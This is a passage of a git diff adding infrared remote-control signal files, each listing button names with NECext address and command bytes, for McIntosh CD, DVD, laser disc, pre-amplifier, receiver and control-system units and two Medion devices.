00 00 00 +# +name: PHOTO +type: parsed +protocol: NECext +address: 60 00 00 00 +command: 15 00 00 00 +# +name: PC +type: parsed +protocol: NECext +address: 60 00 00 00 +command: 19 00 00 00 +# +name: CURSOR_LEFT +type: parsed +protocol: NECext +address: 60 00 00 00 +command: 1C 00 00 00 +# +name: VOLUME_- +type: parsed +protocol: NECext +address: 60 00 00 00 +command: 1C 00 00 00 +# +name: CHANNEL_- +type: parsed +protocol: NECext +address: 60 00 00 00 +command: 1D 00 00 00 +# +name: CURSOR_DOWN +type: parsed +protocol: NECext +address: 60 00 00 00 +command: 1D 00 00 00 +# +name: WOW +type: parsed +protocol: NECext +address: 60 00 00 00 +command: 40 00 00 00 +# +name: ADD/ERASE +type: parsed +protocol: NECext +address: 60 00 00 00 +command: 41 00 00 00 +# +name: CH_EDIT +type: parsed +protocol: NECext +address: 60 00 00 00 +command: 42 00 00 00 +# +name: FAVORITE +type: parsed +protocol: NECext +address: 60 00 00 00 +command: 43 00 00 00 +# +name: CHANNEL_+ +type: parsed +protocol: NECext +address: 60 00 00 00 +command: 44 00 00 00 +# +name: CURSOR_UP +type: parsed +protocol: NECext +address: 60 00 00 00 +command: 44 00 00 00 +# +name: MUTE +type: parsed +protocol: NECext +address: 60 00 00 00 +command: 45 00 00 00 +# +name: CURSOR_RIGHT +type: parsed +protocol: NECext +address: 60 00 00 00 +command: 48 00 00 00 +# +name: VOLUME_+ +type: parsed +protocol: NECext +address: 60 00 00 00 +command: 48 00 00 00 +# +name: ENTER +type: parsed +protocol: NECext +address: 60 00 00 00 +command: 51 00 00 00 +# +name: TV/CATV +type: parsed +protocol: NECext +address: 60 00 00 00 +command: 52 00 00 00 +# +name: SCAN +type: parsed +protocol: NECext +address: 60 00 00 00 +command: 53 00 00 00 +# +name: SLEEP +type: parsed +protocol: NECext +address: 60 00 00 00 +command: 54 00 00 00 +# +name: TXT +type: parsed +protocol: NECext +address: 60 00 00 00 +command: 55 00 00 00 +# +name: V-CHIP +type: parsed +protocol: NECext +address: 60 00 00 00 +command: 58 00 00 00 +# +name: GREEN +type: parsed +protocol: NECext +address: 60 00 00 00 +command: 59 00 00 00 +# +name: YELLOW +type: parsed +protocol: NECext +address: 60 00 00 00 +command: 5A 00 00 00 +# +name: CCD +type: parsed +protocol: NECext +address: 60 00 00 00 +command: 5B 00 00 00 +# +name: TV/AV +type: parsed +protocol: NECext +address: 60 00 00 00 +command: 5C 00 00 00 +# +name: 3 +type: parsed +protocol: NECext +address: 60 00 00 00 +command: 5F 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/McIntosh/CD Player/202,149.ir b/assets/resources/infrared/_CSV-IRDB_/McIntosh/CD Player/202,149.ir new file mode 100644 index 000000000..35fb81429 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/McIntosh/CD Player/202,149.ir @@ -0,0 +1,212 @@ +Filetype: IR signals file +Version: 1 +# +name: 1_DISC +type: parsed +protocol: NECext +address: CA 95 00 00 +command: 00 00 00 00 +# +name: 2_DISC +type: parsed +protocol: NECext +address: CA 95 00 00 +command: 01 00 00 00 +# +name: 3_DISC +type: parsed +protocol: NECext +address: CA 95 00 00 +command: 02 00 00 00 +# +name: 4_DISC +type: parsed +protocol: NECext +address: CA 95 00 00 +command: 03 00 00 00 +# +name: 5_DISC +type: parsed +protocol: NECext +address: CA 95 00 00 +command: 04 00 00 00 +# +name: 6_DISC +type: parsed +protocol: NECext +address: CA 95 00 00 +command: 05 00 00 00 +# +name: DATA +type: parsed +protocol: NECext +address: CA 95 00 00 +command: 0E 00 00 00 +# +name: SCAN +type: parsed +protocol: NECext +address: CA 95 00 00 +command: 13 00 00 00 +# +name: SINGLE_DISC +type: parsed +protocol: NECext +address: CA 95 00 00 +command: 1A 00 00 00 +# +name: MODE +type: parsed +protocol: NECext +address: CA 95 00 00 +command: 40 00 00 00 +# +name: REV_<< +type: parsed +protocol: NECext +address: CA 95 00 00 +command: 41 00 00 00 +# +name: BACK +type: parsed +protocol: NECext +address: CA 95 00 00 +command: 42 00 00 00 +# +name: CANCEL +type: parsed +protocol: NECext +address: CA 95 00 00 +command: 43 00 00 00 +# +name: REPEAT +type: parsed +protocol: NECext +address: CA 95 00 00 +command: 44 00 00 00 +# +name: STOP_[] +type: parsed +protocol: NECext +address: CA 95 00 00 +command: 45 00 00 00 +# +name: PLAY_> +type: parsed +protocol: NECext +address: CA 95 00 00 +command: 46 00 00 00 +# +name: FF_>> +type: parsed +protocol: NECext +address: CA 95 00 00 +command: 47 00 00 00 +# +name: NEXT +type: parsed +protocol: NECext +address: CA 95 00 00 +command: 48 00 00 00 +# +name: ENTER +type: parsed +protocol: NECext +address: CA 95 00 00 +command: 49 00 00 00 +# +name: REVIEW +type: parsed +protocol: NECext +address: CA 95 00 00 +command: 4A 00 00 00 +# +name: PAUSE_ +type: parsed +protocol: NECext +address: CA 95 00 00 +command: 4B 00 00 00 +# +name: CLEAR +type: parsed +protocol: NECext +address: CA 95 00 00 +command: 4D 00 00 00 +# +name: 0_TRACK +type: parsed +protocol: NECext +address: CA 95 00 00 +command: 4E 00 00 00 +# +name: 1_TRACK +type: parsed +protocol: NECext +address: CA 95 00 00 +command: 4F 00 00 00 +# +name: 2_TRACK +type: parsed +protocol: NECext +address: CA 95 00 00 +command: 50 00 00 00 +# +name: 3_TRACK +type: parsed +protocol: NECext +address: CA 95 00 00 +command: 51 00 00 00 +# +name: 4_TRACK +type: parsed +protocol: NECext +address: CA 95 00 00 +command: 52 00 00 00 +# +name: 5_TRACK +type: parsed +protocol: NECext +address: CA 95 00 00 +command: 53 00 00 00 +# +name: 6_TRACK +type: parsed +protocol: NECext +address: CA 95 00 00 +command: 54 00 00 00 +# +name: 7_TRACK +type: parsed +protocol: NECext +address: CA 95 00 00 +command: 55 00 00 00 +# +name: 8_TRACK +type: parsed +protocol: NECext +address: CA 95 00 00 +command: 56 00 00 00 +# +name: 9_TRACK +type: parsed +protocol: NECext +address: CA 95 00 00 +command: 57 00 00 00 +# +name: VOL_^ +type: parsed +protocol: NECext +address: CA 95 00 00 +command: 58 00 00 00 +# +name: VOL_V +type: parsed +protocol: NECext +address: CA 95 00 00 +command: 59 00 00 00 +# +name: RANDOM +type: parsed +protocol: NECext +address: CA 95 00 00 +command: 5B 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/McIntosh/Control System/202,85.ir b/assets/resources/infrared/_CSV-IRDB_/McIntosh/Control System/202,85.ir new file mode 100644 index 000000000..a55b77ef5 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/McIntosh/Control System/202,85.ir @@ -0,0 +1,74 @@ +Filetype: IR signals file +Version: 1 +# +name: CDR +type: parsed +protocol: NECext +address: CA 55 00 00 +command: 88 00 00 00 +# +name: SERVER +type: parsed +protocol: NECext +address: CA 55 00 00 +command: 89 00 00 00 +# +name: MM +type: parsed +protocol: NECext +address: CA 55 00 00 +command: 8A 00 00 00 +# +name: MC +type: parsed +protocol: NECext +address: CA 55 00 00 +command: 8D 00 00 00 +# +name: CD +type: parsed +protocol: NECext +address: CA 55 00 00 +command: 90 00 00 00 +# +name: TUNER +type: parsed +protocol: NECext +address: CA 55 00 00 +command: 92 00 00 00 +# +name: AUX +type: parsed +protocol: NECext +address: CA 55 00 00 +command: 97 00 00 00 +# +name: VOLUME_UP +type: parsed +protocol: NECext +address: CA 55 00 00 +command: C2 00 00 00 +# +name: VOLUME_DOWN +type: parsed +protocol: NECext +address: CA 55 00 00 +command: C3 00 00 00 +# +name: MUTE +type: parsed +protocol: NECext +address: CA 55 00 00 +command: C6 00 00 00 +# +name: POWER_ON +type: parsed +protocol: NECext +address: CA 55 00 00 +command: CB 00 00 00 +# +name: POWER_OFF +type: parsed +protocol: NECext +address: CA 55 00 00 +command: DF 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/McIntosh/DVD Player/128,80.ir b/assets/resources/infrared/_CSV-IRDB_/McIntosh/DVD Player/128,80.ir new file mode 100644 index 000000000..405069329 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/McIntosh/DVD Player/128,80.ir @@ -0,0 +1,224 @@ +Filetype: IR signals file +Version: 1 +# +name: PLAY +type: parsed +protocol: NECext +address: 80 50 00 00 +command: 01 00 00 00 +# +name: >>I_NEXT +type: parsed +protocol: NECext +address: 80 50 00 00 +command: 02 00 00 00 +# +name: I<<_BACK +type: parsed +protocol: NECext +address: 80 50 00 00 +command: 03 00 00 00 +# +name: STOP +type: parsed +protocol: NECext +address: 80 50 00 00 +command: 04 00 00 00 +# +name: PAUSE +type: parsed +protocol: NECext +address: 80 50 00 00 +command: 07 00 00 00 +# +name: SETUP +type: parsed +protocol: NECext +address: 80 50 00 00 +command: 08 00 00 00 +# +name: MARKER +type: parsed +protocol: NECext +address: 80 50 00 00 +command: 09 00 00 00 +# +name: SUBTITLE +type: parsed +protocol: NECext +address: 80 50 00 00 +command: 0A 00 00 00 +# +name: AUDIO +type: parsed +protocol: NECext +address: 80 50 00 00 +command: 0B 00 00 00 +# +name: ANGLE +type: parsed +protocol: NECext +address: 80 50 00 00 +command: 0C 00 00 00 +# +name: RETURN +type: parsed +protocol: NECext +address: 80 50 00 00 +command: 0D 00 00 00 +# +name: TITLE +type: parsed +protocol: NECext +address: 80 50 00 00 +command: 0E 00 00 00 +# +name: DISPLAY +type: parsed +protocol: NECext +address: 80 50 00 00 +command: 0F 00 00 00 +# +name: MENU +type: parsed +protocol: NECext +address: 80 50 00 00 +command: 10 00 00 00 +# +name: CURSOR_LEFT +type: parsed +protocol: NECext +address: 80 50 00 00 +command: 11 00 00 00 +# +name: CURSOR_RIGHT +type: parsed +protocol: NECext +address: 80 50 00 00 +command: 12 00 00 00 +# +name: CURSOR_UP +type: parsed +protocol: NECext +address: 80 50 00 00 +command: 13 00 00 00 +# +name: CURSOR_DOWN +type: parsed +protocol: NECext +address: 80 50 00 00 +command: 14 00 00 00 +# +name: ENTER +type: parsed +protocol: NECext +address: 80 50 00 00 +command: 15 00 00 00 +# +name: SELECT +type: parsed +protocol: NECext +address: 80 50 00 00 +command: 15 00 00 00 +# +name: REPEAT_MODE +type: parsed +protocol: NECext +address: 80 50 00 00 +command: 4C 00 00 00 +# +name: A-B_REPEAT +type: parsed +protocol: NECext +address: 80 50 00 00 +command: 4D 00 00 00 +# +name: PLAY_MODE +type: parsed +protocol: NECext +address: 80 50 00 00 +command: 4E 00 00 00 +# +name: CLEAR +type: parsed +protocol: NECext +address: 80 50 00 00 +command: 4F 00 00 00 +# +name: 1 +type: parsed +protocol: NECext +address: 80 50 00 00 +command: 50 00 00 00 +# +name: 2 +type: parsed +protocol: NECext +address: 80 50 00 00 +command: 51 00 00 00 +# +name: 3 +type: parsed +protocol: NECext +address: 80 50 00 00 +command: 52 00 00 00 +# +name: 4 +type: parsed +protocol: NECext +address: 80 50 00 00 +command: 53 00 00 00 +# +name: 5 +type: parsed +protocol: NECext +address: 80 50 00 00 +command: 54 00 00 00 +# +name: 6 +type: parsed +protocol: NECext +address: 80 50 00 00 +command: 55 00 00 00 +# +name: 7 +type: parsed +protocol: NECext +address: 80 50 00 00 +command: 56 00 00 00 +# +name: 8 +type: parsed +protocol: NECext +address: 80 50 00 00 +command: 57 00 00 00 +# +name: 9 +type: parsed +protocol: NECext +address: 80 50 00 00 +command: 58 00 00 00 +# +name: 0 +type: parsed +protocol: NECext +address: 80 50 00 00 +command: 59 00 00 00 +# +name: <<_REVERSE +type: parsed +protocol: NECext +address: 80 50 00 00 +command: 5A 00 00 00 +# +name: >>_FAST_FORWARD +type: parsed +protocol: NECext +address: 80 50 00 00 +command: 5B 00 00 00 +# +name: 10+ +type: parsed +protocol: NECext +address: 80 50 00 00 +command: 5C 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/McIntosh/Laser Disc/168,-1.ir b/assets/resources/infrared/_CSV-IRDB_/McIntosh/Laser Disc/168,-1.ir new file mode 100644 index 000000000..88d66f995 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/McIntosh/Laser Disc/168,-1.ir @@ -0,0 +1,152 @@ +Filetype: IR signals file +Version: 1 +# +name: 0 +type: parsed +protocol: NECext +address: A8 00 00 00 +command: 00 00 00 00 +# +name: 1 +type: parsed +protocol: NECext +address: A8 00 00 00 +command: 01 00 00 00 +# +name: 2 +type: parsed +protocol: NECext +address: A8 00 00 00 +command: 02 00 00 00 +# +name: 3 +type: parsed +protocol: NECext +address: A8 00 00 00 +command: 03 00 00 00 +# +name: 4 +type: parsed +protocol: NECext +address: A8 00 00 00 +command: 04 00 00 00 +# +name: 5 +type: parsed +protocol: NECext +address: A8 00 00 00 +command: 05 00 00 00 +# +name: 6 +type: parsed +protocol: NECext +address: A8 00 00 00 +command: 06 00 00 00 +# +name: 7 +type: parsed +protocol: NECext +address: A8 00 00 00 +command: 07 00 00 00 +# +name: 8 +type: parsed +protocol: NECext +address: A8 00 00 00 +command: 08 00 00 00 +# +name: 9 +type: parsed +protocol: NECext +address: A8 00 00 00 +command: 09 00 00 00 +# +name: SCAN_>> +type: parsed +protocol: NECext +address: A8 00 00 00 +command: 10 00 00 00 +# +name: SCAN_<< +type: parsed +protocol: NECext +address: A8 00 00 00 +command: 11 00 00 00 +# +name: CHAPTER +type: parsed +protocol: NECext +address: A8 00 00 00 +command: 13 00 00 00 +# +name: STOP/EJECT +type: parsed +protocol: NECext +address: A8 00 00 00 +command: 16 00 00 00 +# +name: PLAY +type: parsed +protocol: NECext +address: A8 00 00 00 +command: 17 00 00 00 +# +name: PAUSE +type: parsed +protocol: NECext +address: A8 00 00 00 +command: 18 00 00 00 +# +name: POWER +type: parsed +protocol: NECext +address: A8 00 00 00 +command: 1C 00 00 00 +# +name: AUDIO_MODE +type: parsed +protocol: NECext +address: A8 00 00 00 +command: 1E 00 00 00 +# +name: 10_+ +type: parsed +protocol: NECext +address: A8 00 00 00 +command: 1F 00 00 00 +# +name: DISC_SIDE_A +type: parsed +protocol: NECext +address: A8 00 00 00 +command: 4D 00 00 00 +# +name: DISC_SIDE_B +type: parsed +protocol: NECext +address: A8 00 00 00 +command: 4E 00 00 00 +# +name: STEP_- +type: parsed +protocol: NECext +address: A8 00 00 00 +command: 50 00 00 00 +# +name: NEXT +type: parsed +protocol: NECext +address: A8 00 00 00 +command: 52 00 00 00 +# +name: BACK +type: parsed +protocol: NECext +address: A8 00 00 00 +command: 53 00 00 00 +# +name: STEP_+ +type: parsed +protocol: NECext +address: A8 00 00 00 +command: 54 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/McIntosh/Pre-Amplifier/202,85.ir b/assets/resources/infrared/_CSV-IRDB_/McIntosh/Pre-Amplifier/202,85.ir new file mode 100644 index 000000000..e0d6ce2d2 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/McIntosh/Pre-Amplifier/202,85.ir @@ -0,0 +1,344 @@ +Filetype: IR signals file +Version: 1 +# +name: PLAY +type: parsed +protocol: NECext +address: CA 55 00 00 +command: 01 00 00 00 +# +name: FORWARD +type: parsed +protocol: NECext +address: CA 55 00 00 +command: 02 00 00 00 +# +name: REVERSE +type: parsed +protocol: NECext +address: CA 55 00 00 +command: 03 00 00 00 +# +name: STOP +type: parsed +protocol: NECext +address: CA 55 00 00 +command: 04 00 00 00 +# +name: ACC_ON +type: parsed +protocol: NECext +address: CA 55 00 00 +command: 05 00 00 00 +# +name: ACC_OFF +type: parsed +protocol: NECext +address: CA 55 00 00 +command: 06 00 00 00 +# +name: E +type: parsed +protocol: NECext +address: CA 55 00 00 +command: 07 00 00 00 +# +name: SAT +type: parsed +protocol: NECext +address: CA 55 00 00 +command: 08 00 00 00 +# +name: TV +type: parsed +protocol: NECext +address: CA 55 00 00 +command: 09 00 00 00 +# +name: LV +type: parsed +protocol: NECext +address: CA 55 00 00 +command: 0A 00 00 00 +# +name: VCR_1 +type: parsed +protocol: NECext +address: CA 55 00 00 +command: 0B 00 00 00 +# +name: VCR +type: parsed +protocol: NECext +address: CA 55 00 00 +command: 0B 00 00 00 +# +name: VCR_2 +type: parsed +protocol: NECext +address: CA 55 00 00 +command: 0C 00 00 00 +# +name: V-AUX +type: parsed +protocol: NECext +address: CA 55 00 00 +command: 0D 00 00 00 +# +name: DVD +type: parsed +protocol: NECext +address: CA 55 00 00 +command: 0D 00 00 00 +# +name: TRIM +type: parsed +protocol: NECext +address: CA 55 00 00 +command: 0E 00 00 00 +# +name: CD_1 +type: parsed +protocol: NECext +address: CA 55 00 00 +command: 10 00 00 00 +# +name: CD +type: parsed +protocol: NECext +address: CA 55 00 00 +command: 10 00 00 00 +# +name: CD_2 +type: parsed +protocol: NECext +address: CA 55 00 00 +command: 11 00 00 00 +# +name: CD2 +type: parsed +protocol: NECext +address: CA 55 00 00 +command: 11 00 00 00 +# +name: TUNER +type: parsed +protocol: NECext +address: CA 55 00 00 +command: 12 00 00 00 +# +name: TAPE_1 +type: parsed +protocol: NECext +address: CA 55 00 00 +command: 13 00 00 00 +# +name: TAPE +type: parsed +protocol: NECext +address: CA 55 00 00 +command: 13 00 00 00 +# +name: TAPE_2 +type: parsed +protocol: NECext +address: CA 55 00 00 +command: 14 00 00 00 +# +name: V +type: parsed +protocol: NECext +address: CA 55 00 00 +command: 16 00 00 00 +# +name: PH/AUX +type: parsed +protocol: NECext +address: CA 55 00 00 +command: 17 00 00 00 +# +name: AUX +type: parsed +protocol: NECext +address: CA 55 00 00 +command: 17 00 00 00 +# +name: POWER +type: parsed +protocol: NECext +address: CA 55 00 00 +command: 40 00 00 00 +# +name: SYS_OFF +type: parsed +protocol: NECext +address: CA 55 00 00 +command: 41 00 00 00 +# +name: SYSTEM_OFF +type: parsed +protocol: NECext +address: CA 55 00 00 +command: 41 00 00 00 +# +name: VOLUME_+ +type: parsed +protocol: NECext +address: CA 55 00 00 +command: 42 00 00 00 +# +name: VOLUME_- +type: parsed +protocol: NECext +address: CA 55 00 00 +command: 43 00 00 00 +# +name: SURROUND_UP +type: parsed +protocol: NECext +address: CA 55 00 00 +command: 44 00 00 00 +# +name: LEVEL_UP +type: parsed +protocol: NECext +address: CA 55 00 00 +command: 44 00 00 00 +# +name: SURROUND_DOWN +type: parsed +protocol: NECext +address: CA 55 00 00 +command: 45 00 00 00 +# +name: LEVEL_DOWN +type: parsed +protocol: NECext +address: CA 55 00 00 +command: 45 00 00 00 +# +name: MUTE +type: parsed +protocol: NECext +address: CA 55 00 00 +command: 46 00 00 00 +# +name: SP +type: parsed +protocol: NECext +address: CA 55 00 00 +command: 47 00 00 00 +# +name: MODE +type: parsed +protocol: NECext +address: CA 55 00 00 +command: 47 00 00 00 +# +name: HOME +type: parsed +protocol: NECext +address: CA 55 00 00 +command: 48 00 00 00 +# +name: +type: parsed +protocol: NECext +address: CA 55 00 00 +command: 4B 00 00 00 +# +name: 1 +type: parsed +protocol: NECext +address: CA 55 00 00 +command: 50 00 00 00 +# +name: 2 +type: parsed +protocol: NECext +address: CA 55 00 00 +command: 51 00 00 00 +# +name: 3 +type: parsed +protocol: NECext +address: CA 55 00 00 +command: 52 00 00 00 +# +name: 4 +type: parsed +protocol: NECext +address: CA 55 00 00 +command: 53 00 00 00 +# +name: 5 +type: parsed +protocol: NECext +address: CA 55 00 00 +command: 54 00 00 00 +# +name: 6 +type: parsed +protocol: NECext +address: CA 55 00 00 +command: 55 00 00 00 +# +name: 7 +type: parsed +protocol: NECext +address: CA 55 00 00 +command: 56 00 00 00 +# +name: 8 +type: parsed +protocol: NECext +address: CA 55 00 00 +command: 57 00 00 00 +# +name: 9 +type: parsed +protocol: NECext +address: CA 55 00 00 +command: 58 00 00 00 +# +name: 0 +type: parsed +protocol: NECext +address: CA 55 00 00 +command: 59 00 00 00 +# +name: SEEK_DOWN +type: parsed +protocol: NECext +address: CA 55 00 00 +command: 5A 00 00 00 +# +name: SEEK_UP +type: parsed +protocol: NECext +address: CA 55 00 00 +command: 5B 00 00 00 +# +name: REVIEW +type: parsed +protocol: NECext +address: CA 55 00 00 +command: 5C 00 00 00 +# +name: AM +type: parsed +protocol: NECext +address: CA 55 00 00 +command: 5D 00 00 00 +# +name: FM +type: parsed +protocol: NECext +address: CA 55 00 00 +command: 5E 00 00 00 +# +name: POWER_OFF +type: parsed +protocol: NECext +address: CA 55 00 00 +command: 5F 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/McIntosh/Receiver/202,85.ir b/assets/resources/infrared/_CSV-IRDB_/McIntosh/Receiver/202,85.ir new file mode 100644 index 000000000..842fd182a --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/McIntosh/Receiver/202,85.ir @@ -0,0 +1,320 @@ +Filetype: IR signals file +Version: 1 +# +name: PLAY_> +type: parsed +protocol: NECext +address: CA 55 00 00 +command: 01 00 00 00 +# +name: AMS_>> +type: parsed +protocol: NECext +address: CA 55 00 00 +command: 02 00 00 00 +# +name: SKIP_>> +type: parsed +protocol: NECext +address: CA 55 00 00 +command: 02 00 00 00 +# +name: NEXT +type: parsed +protocol: NECext +address: CA 55 00 00 +command: 02 00 00 00 +# +name: AMS_<< +type: parsed +protocol: NECext +address: CA 55 00 00 +command: 03 00 00 00 +# +name: SKIP_<< +type: parsed +protocol: NECext +address: CA 55 00 00 +command: 03 00 00 00 +# +name: BACK +type: parsed +protocol: NECext +address: CA 55 00 00 +command: 03 00 00 00 +# +name: STOP_[] +type: parsed +protocol: NECext +address: CA 55 00 00 +command: 04 00 00 00 +# +name: ACC_ON +type: parsed +protocol: NECext +address: CA 55 00 00 +command: 05 00 00 00 +# +name: ACC_OFF +type: parsed +protocol: NECext +address: CA 55 00 00 +command: 06 00 00 00 +# +name: E +type: parsed +protocol: NECext +address: CA 55 00 00 +command: 07 00 00 00 +# +name: SAT +type: parsed +protocol: NECext +address: CA 55 00 00 +command: 08 00 00 00 +# +name: TV +type: parsed +protocol: NECext +address: CA 55 00 00 +command: 09 00 00 00 +# +name: LV +type: parsed +protocol: NECext +address: CA 55 00 00 +command: 0A 00 00 00 +# +name: VCR_1 +type: parsed +protocol: NECext +address: CA 55 00 00 +command: 0B 00 00 00 +# +name: VCR_2 +type: parsed +protocol: NECext +address: CA 55 00 00 +command: 0C 00 00 00 +# +name: V-AUX +type: parsed +protocol: NECext +address: CA 55 00 00 +command: 0D 00 00 00 +# +name: CD_1 +type: parsed +protocol: NECext +address: CA 55 00 00 +command: 10 00 00 00 +# +name: CD_2 +type: parsed +protocol: NECext +address: CA 55 00 00 +command: 11 00 00 00 +# +name: CD +type: parsed +protocol: NECext +address: CA 55 00 00 +command: 11 00 00 00 +# +name: TUNER +type: parsed +protocol: NECext +address: CA 55 00 00 +command: 12 00 00 00 +# +name: TAPE_1 +type: parsed +protocol: NECext +address: CA 55 00 00 +command: 13 00 00 00 +# +name: TAPE_2 +type: parsed +protocol: NECext +address: CA 55 00 00 +command: 14 00 00 00 +# +name: V +type: parsed +protocol: NECext +address: CA 55 00 00 +command: 16 00 00 00 +# +name: VIDEO +type: parsed +protocol: NECext +address: CA 55 00 00 +command: 16 00 00 00 +# +name: PH/AUX +type: parsed +protocol: NECext +address: CA 55 00 00 +command: 17 00 00 00 +# +name: AUX +type: parsed +protocol: NECext +address: CA 55 00 00 +command: 17 00 00 00 +# +name: POWER +type: parsed +protocol: NECext +address: CA 55 00 00 +command: 40 00 00 00 +# +name: SYS_OFF +type: parsed +protocol: NECext +address: CA 55 00 00 +command: 41 00 00 00 +# +name: SYSTEM_OFF +type: parsed +protocol: NECext +address: CA 55 00 00 +command: 41 00 00 00 +# +name: VOLUME_^ +type: parsed +protocol: NECext +address: CA 55 00 00 +command: 42 00 00 00 +# +name: VOLUME_V +type: parsed +protocol: NECext +address: CA 55 00 00 +command: 43 00 00 00 +# +name: SURROUND_^ +type: parsed +protocol: NECext +address: CA 55 00 00 +command: 44 00 00 00 +# +name: SURROUND_V +type: parsed +protocol: NECext +address: CA 55 00 00 +command: 45 00 00 00 +# +name: MUTE +type: parsed +protocol: NECext +address: CA 55 00 00 +command: 46 00 00 00 +# +name: SP +type: parsed +protocol: NECext +address: CA 55 00 00 +command: 47 00 00 00 +# +name: HOME +type: parsed +protocol: NECext +address: CA 55 00 00 +command: 48 00 00 00 +# +name: 1 +type: parsed +protocol: NECext +address: CA 55 00 00 +command: 50 00 00 00 +# +name: 2 +type: parsed +protocol: NECext +address: CA 55 00 00 +command: 51 00 00 00 +# +name: 3 +type: parsed +protocol: NECext +address: CA 55 00 00 +command: 52 00 00 00 +# +name: 4 +type: parsed +protocol: NECext +address: CA 55 00 00 +command: 53 00 00 00 +# +name: 5 +type: parsed +protocol: NECext +address: CA 55 00 00 +command: 54 00 00 00 +# +name: 6 +type: parsed +protocol: NECext +address: CA 55 00 00 +command: 55 00 00 00 +# +name: 7 +type: parsed +protocol: NECext +address: CA 55 00 00 +command: 56 00 00 00 +# +name: 8 +type: parsed +protocol: NECext +address: CA 55 00 00 +command: 57 00 00 00 +# +name: 9 +type: parsed +protocol: NECext +address: CA 55 00 00 +command: 58 00 00 00 +# +name: 0 +type: parsed +protocol: NECext +address: CA 55 00 00 +command: 59 00 00 00 +# +name: SEEK_V +type: parsed +protocol: NECext +address: CA 55 00 00 +command: 5A 00 00 00 +# +name: SEEK_^ +type: parsed +protocol: NECext +address: CA 55 00 00 +command: 5B 00 00 00 +# +name: REVIEW +type: parsed +protocol: NECext +address: CA 55 00 00 +command: 5C 00 00 00 +# +name: SEARCH +type: parsed +protocol: NECext +address: CA 55 00 00 +command: 5C 00 00 00 +# +name: AM +type: parsed +protocol: NECext +address: CA 55 00 00 +command: 5D 00 00 00 +# +name: FM +type: parsed +protocol: NECext +address: CA 55 00 00 +command: 5E 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Medion/Unknown_JX-2006B/0,-1.ir b/assets/resources/infrared/_CSV-IRDB_/Medion/Unknown_JX-2006B/0,-1.ir new file mode 100644 index 000000000..77d413e17 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Medion/Unknown_JX-2006B/0,-1.ir @@ -0,0 +1,146 @@ +Filetype: IR signals file +Version: 1 +# +name: KEY_POWER +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 00 00 00 00 +# +name: KEY_PAUSE +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 03 00 00 00 +# +name: KEY_PLAY +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 06 00 00 00 +# +name: KEY_EJECTCD +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 0C 00 00 00 +# +name: KEY_SETUP +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 0F 00 00 00 +# +name: KEY_STOP +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 13 00 00 00 +# +name: KEY_9 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 41 00 00 00 +# +name: KEY_6 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 42 00 00 00 +# +name: KEY_3 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 43 00 00 00 +# +name: KEY_0 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 44 00 00 00 +# +name: KEY_8 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 45 00 00 00 +# +name: KEY_5 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 46 00 00 00 +# +name: KEY_2 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 47 00 00 00 +# +name: KEY_7 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 49 00 00 00 +# +name: KEY_4 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 4A 00 00 00 +# +name: KEY_1 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 4B 00 00 00 +# +name: KEY_FASTFORWARD +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 50 00 00 00 +# +name: KEY_NEXT +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 51 00 00 00 +# +name: KEY_VOLUMEUP +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 52 00 00 00 +# +name: KEY_MUTE +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 53 00 00 00 +# +name: FREV +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 54 00 00 00 +# +name: KEY_PREVIOUS +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 55 00 00 00 +# +name: KEY_VOLUMEDOWN +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 56 00 00 00 +# +name: KEY_SUBTITLE +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 5E 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Medion/Unknown_MD-5410/5,-1.ir b/assets/resources/infrared/_CSV-IRDB_/Medion/Unknown_MD-5410/5,-1.ir new file mode 100644 index 000000000..1a67289b7 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Medion/Unknown_MD-5410/5,-1.ir @@ -0,0 +1,200 @@ +Filetype: IR signals file +Version: 1 +# +name: KEY_ZOOM +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 12 00 00 00 +# +name: KEY_PREVIOUS +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 15 00 00 00 +# +name: KEY_NEXT +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 16 00 00 00 +# +name: KEY_MENU +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 17 00 00 00 +# +name: KEY_MUTE +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 18 00 00 00 +# +name: KEY_PLAY +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 19 00 00 00 +# +name: KEY_PAUSE +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 1A 00 00 00 +# +name: KEY_8 